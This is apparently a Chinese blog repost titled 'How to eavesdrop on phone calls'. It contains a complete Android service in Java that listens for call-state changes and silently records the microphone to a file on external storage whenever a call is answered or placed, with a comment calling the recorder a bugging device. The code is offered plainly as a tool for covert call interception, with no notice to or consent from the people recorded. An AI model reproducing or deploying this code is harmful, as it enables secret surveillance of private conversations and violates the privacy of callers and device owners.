如何监听手机通话

package com.example.phonelistener.service;


import java.io.File;
import java.io.IOException;


import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;


public class callPhoneService extends Service {
	private MediaRecorder recorder;


	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}


	@Override
	public void onCreate() {
		TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		tm.listen(new MyListener(), PhoneStateListener.LISTEN_CALL_STATE);
		super.onCreate();
	}


	private class MyListener extends PhoneStateListener {
		private MediaRecorder recorder;
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			switch (state) {
			case TelephonyManager.CALL_STATE_IDLE:
				//停止录制
					if(recorder!=null){
						recorder.stop();
						recorder.release();
						onDestroy();
					}
				break;
			case TelephonyManager.CALL_STATE_OFFHOOK:
				//摘机状态,准备并开始录制
				Log.d("callToOtherService", "开始播出号码");
				// 准备一个窃听器
				recorder = new MediaRecorder();
				recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
				recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
				recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
				String str = Environment.getExternalStorageDirectory()
						.getAbsolutePath()
						+ File.separator
						+ "下载"
						+ File.separator
						+ "call"
						+ System.currentTimeMillis()
						+ ".mp3";
				try {
					File file = new File(str);
					if (!file.exists()) {
						file.createNewFile();
					}
				} catch (IOException e1) {
					// TODO Auto-generated catch block
					e1.printStackTrace();
				}
				recorder.setOutputFile(str);
				try {
					recorder.prepare();
					Log.d("录音准备", "完成");


				} catch (IllegalStateException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				} catch (IOException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
				//开始录制
				recorder.start();
				break;


			default:
				break;
			}
			super.onCallStateChanged(state, incomingNumber);
		}
	}
	@Override
	public void onDestroy() {
		recorder=null;
		this.stopSelf();
		super.onDestroy();
	}
}

猜你喜欢

转载自blog.csdn.net/sinat_40387150/article/details/80820563
今日推荐